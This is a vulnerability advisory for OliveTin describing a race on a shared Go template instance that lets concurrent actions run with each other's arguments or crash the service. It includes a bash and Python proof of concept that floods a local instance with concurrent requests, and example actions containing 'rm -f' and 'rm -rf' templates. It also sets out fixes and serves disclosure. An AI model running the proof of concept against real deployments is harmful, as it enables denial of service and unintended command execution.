OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination

Summary

OliveTin's template engine uses a single shared text/template.Template instance (tpl package-level variable in service/internal/tpl/templates.go) across all goroutines. Every action execution calls tpl.Parse(source) followed by t.Execute() on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case — each ExecRequest spawns a goroutine), a race condition occurs: one goroutine's Parse overwrites the template tree while another goroutine is calling Execute, causing:

1. Cross-user command contamination: User A's arguments rendered in User B's shell command template
2. Go runtime panic: Concurrent map writes in Go's text/template internal structures cause a fatal crash
3. Incorrect command execution: Template/argument mismatch produces unexpected or dangerous shell commands

CWE

• CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)
• CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)

Affected Versions

• All versions (the shared template has existed since the template system was introduced)

Details

The Shared Template Instance

In service/internal/tpl/templates.go:

var tpl = template.New("tpl").
    Option("missingkey=error").
    Funcs(template.FuncMap{"Json": jsonFunc})

This is a package-level variable — a single *template.Template shared across the entire process.

Unsafe Parse + Execute Pattern

The parseTemplate function is called for every template rendering:

func parseTemplate(source string, data any) (string, error) {
    t, err := tpl.Parse(source)   // Modifies shared tpl's internal Tree
    if err != nil {
        return "", err
    }

    var sb strings.Builder
    err = t.Execute(&sb, data)    // Reads from tpl's internal Tree
    // ...
}

Critical: tpl.Parse(source) returns the same pointer as tpl (Go's template.Parse modifies the receiver and returns it). So t and tpl are the same object. When two goroutines call parseTemplate concurrently:

Goroutine A (Action "echo {{ .Arguments.name }}"):
  1. tpl.Parse("echo {{ .Arguments.name }}")     → sets tpl.Tree = TreeA
  2. t.Execute(&sb, {Arguments: {"name": "safe"}}) → walks TreeA

Goroutine B (Action "rm -rf {{ .Arguments.path }}"):
  1. tpl.Parse("rm -rf {{ .Arguments.path }}")   → sets tpl.Tree = TreeB
  2. t.Execute(&sb, {Arguments: {"path": "/tmp"}}) → walks TreeB

If the goroutines interleave:

  A.Parse(TreeA) → B.Parse(TreeB) → A.Execute(dataA) → executes TreeB with dataA!

Goroutine A would execute rm -rf {{ .Arguments.path }} with dataA — which either errors (missing key) or, if dataA happens to have a path argument, executes with an unintended value.

No Synchronization Exists

A search for any synchronization primitives in the tpl package confirms zero mutex, lock, or atomic operations:

$ grep -r "sync\.\|Mutex\|Lock\|mutex" service/internal/tpl/
(no results)

Concurrent Goroutine Confirmation

In service/internal/executor/executor.go, ExecRequest launches each action in a new goroutine:

func (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {
    // ...
    go func() {
        e.execChain(req)    // Calls stepParseArgs → ParseTemplateWithActionContext → parseTemplate
        defer wg.Done()
    }()
    return wg, req.TrackingID
}

The execution chain includes stepParseArgs, which calls ParseTemplateWithActionContext, which calls parseTemplate. Multiple concurrent action executions will race on the shared tpl variable.

Go Runtime Crash Vector

Go's text/template.Parse internally modifies the template's common struct, which contains a tmpl map[string]*Template. In Go, concurrent map writes cause an unrecoverable fatal error:

fatal error: concurrent map writes
goroutine X [running]:
runtime.throw(...)

This is not a panic that can be recovered — it terminates the entire process. Two concurrent Parse calls can trigger this, crashing OliveTin.

Template Contamination Vector

Even without a crash, the race can produce dangerous results:

1. User A triggers action: shell: "echo Hello {{ .Arguments.name }}" with name=Alice
2. User B triggers action: shell: "sudo systemctl restart {{ .Arguments.service }}" with service=nginx
3. Race occurs: User A's Execute runs on User B's parsed template
4. If User A's arguments contain a service key, that value is substituted into sudo systemctl restart {{ .Arguments.service }}
5. If User A's arguments do NOT contain service, missingkey=error causes an error — but only AFTER the template was already partially evaluated

Call Chain

API Request → ExecRequest (goroutine) → execChain → stepParseArgs
  → ParseTemplateWithActionContext → parseTemplate → tpl.Parse(source) + t.Execute(data)
                                                      ↑ RACE CONDITION ↑
                                                  (shared tpl variable)

PoC

Prerequisites

• OliveTin instance with at least 2 configured actions
• Ability to trigger concurrent action executions

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false

actions:
  - title: Safe Echo
    id: safe-echo
    shell: "echo 'Hello {{ .Arguments.name }}'"
    arguments:
      - name: name
        type: ascii

  - title: File Delete
    id: file-delete
    shell: "rm -f /tmp/{{ .Arguments.target }}"
    arguments:
      - name: target
        type: ascii_identifier

Step 1: Trigger concurrent executions

#!/bin/bash
# Fire 50 concurrent requests to maximize race window
for i in $(seq 1 50); do
  curl -s -X POST http://127.0.0.1:1337/api/StartAction \
    -H 'Content-Type: application/json' \
    -d '{"bindingId":"safe-echo","arguments":[{"name":"name","value":"Alice"}]}' &

  curl -s -X POST http://127.0.0.1:1337/api/StartAction \
    -H 'Content-Type: application/json' \
    -d '{"bindingId":"file-delete","arguments":[{"name":"target","value":"test"}]}' &
done
wait
echo "All requests sent"

Step 2: Check for crash

# If OliveTin crashed due to concurrent map writes:
curl -s http://127.0.0.1:1337/readyz
# Expected: Connection refused (process crashed)

Step 3: Check logs for contamination

# Look for mismatched template executions in the OliveTin logs
grep -E "missingkey|Error executing template|concurrent" /var/log/olivetin.log

Python PoC — Race Trigger

#!/usr/bin/env python3
"""PoC: Template Race Condition — Cross-Request Contamination

Triggers concurrent action executions to race on the shared
text/template instance in service/internal/tpl/templates.go.

Expected outcomes:
1. Go fatal error: concurrent map writes (process crash)
2. Template error: map has no entry for key (cross-contamination detected)
3. Silent contamination: arguments rendered in wrong template
"""

import requests
import threading
import time

TARGET = "http://127.0.0.1:1337"
THREADS = 20
ITERATIONS = 100

crash_detected = threading.Event()
errors_detected = []

def fire_action_a():
    """Trigger 'safe-echo' action repeatedly."""
    for _ in range(ITERATIONS):
        if crash_detected.is_set():
            break
        try:
            resp = requests.post(
                f"{TARGET}/api/StartAction",
                json={
                    "bindingId": "safe-echo",
                    "arguments": [{"name": "name", "value": "Alice"}]
                },
                headers={"Content-Type": "application/json"},
                timeout=5
            )
            if resp.status_code != 200:
                errors_detected.append(f"Action A error: {resp.status_code} {resp.text}")
        except requests.exceptions.ConnectionError:
            crash_detected.set()
            errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
            break
        except Exception as e:
            errors_detected.append(f"Action A exception: {e}")

def fire_action_b():
    """Trigger 'file-delete' action repeatedly."""
    for _ in range(ITERATIONS):
        if crash_detected.is_set():
            break
        try:
            resp = requests.post(
                f"{TARGET}/api/StartAction",
                json={
                    "bindingId": "file-delete",
                    "arguments": [{"name": "target", "value": "test"}]
                },
                headers={"Content-Type": "application/json"},
                timeout=5
            )
            if resp.status_code != 200:
                errors_detected.append(f"Action B error: {resp.status_code} {resp.text}")
        except requests.exceptions.ConnectionError:
            crash_detected.set()
            errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
            break
        except Exception as e:
            errors_detected.append(f"Action B exception: {e}")

if __name__ == "__main__":
    print(f"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each")
    print(f"[*] Target: {TARGET}")

    threads = []
    for _ in range(THREADS):
        threads.append(threading.Thread(target=fire_action_a))
        threads.append(threading.Thread(target=fire_action_b))

    start = time.time()
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    elapsed = time.time() - start

    print(f"\n[*] Completed in {elapsed:.1f}s")
    print(f"[*] Total requests: {THREADS * 2 * ITERATIONS}")

    if crash_detected.is_set():
        print("[!] SERVER CRASH DETECTED — concurrent map write panic")
    if errors_detected:
        print(f"[!] {len(errors_detected)} errors detected:")
        for err in errors_detected[:10]:
            print(f"    - {err}")
    else:
        print("[*] No errors detected (race window may not have been hit)")
        print("[*] Try increasing THREADS/ITERATIONS or checking server logs")

Go Race Detector Verification

If you can run OliveTin with Go's race detector enabled:

cd service
go run -race . &
# Then trigger concurrent requests — the race detector will confirm the data race

Expected output:

WARNING: DATA RACE
  Write by goroutine X:
    text/template.(*Template).Parse()
    service/internal/tpl/templates.go:XX

  Previous read by goroutine Y:
    text/template.(*Template).Execute()
    service/internal/tpl/templates.go:XX

Impact

• Process Crash (DoS): Concurrent map writes in Go cause an unrecoverable fatal error, crashing the entire OliveTin service
• Cross-User Command Contamination: User A's arguments may be rendered in User B's shell command template, potentially executing commands with wrong/dangerous arguments
• Privilege Escalation via Contamination: If a low-privilege user's arguments contaminate a high-privilege action's template, the result could be unintended command execution
• Data Leakage: Arguments (which may contain secrets like passwords) could be rendered in another user's action output

Remediation

1. Create a new template per parse call instead of reusing the package-level singleton:

   func parseTemplate(source string, data any) (string, error) {
       t, err := template.New("").
           Option("missingkey=error").
           Funcs(template.FuncMap{"Json": jsonFunc}).
           Parse(source)
       if err != nil {
           return "", err
       }
       var sb strings.Builder
       err = t.Execute(&sb, data)
       // ...
   }
   

2. Alternative: Use template.Must(tpl.Clone()) to create a thread-safe copy per call:

   func parseTemplate(source string, data any) (string, error) {
       clone, _ := tpl.Clone()
       t, err := clone.Parse(source)
       // ...
   }
   

3. Alternative: Add a mutex around parseTemplate (but this serializes all template rendering and hurts performance):

   var tplMutex sync.Mutex
   func parseTemplate(source string, data any) (string, error) {
       tplMutex.Lock()
       defer tplMutex.Unlock()
       // ...
   }
   

   Option 1 (new template per call) is the recommended fix — it's simple, safe, and has negligible performance impact.

Resources

• Go text/template documentation: "A Template's Parse method must not be called concurrently"
• CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
• service/internal/tpl/templates.go — shared tpl variable and parseTemplate function
• service/internal/executor/executor.go — ExecRequest goroutine launch (line ~524)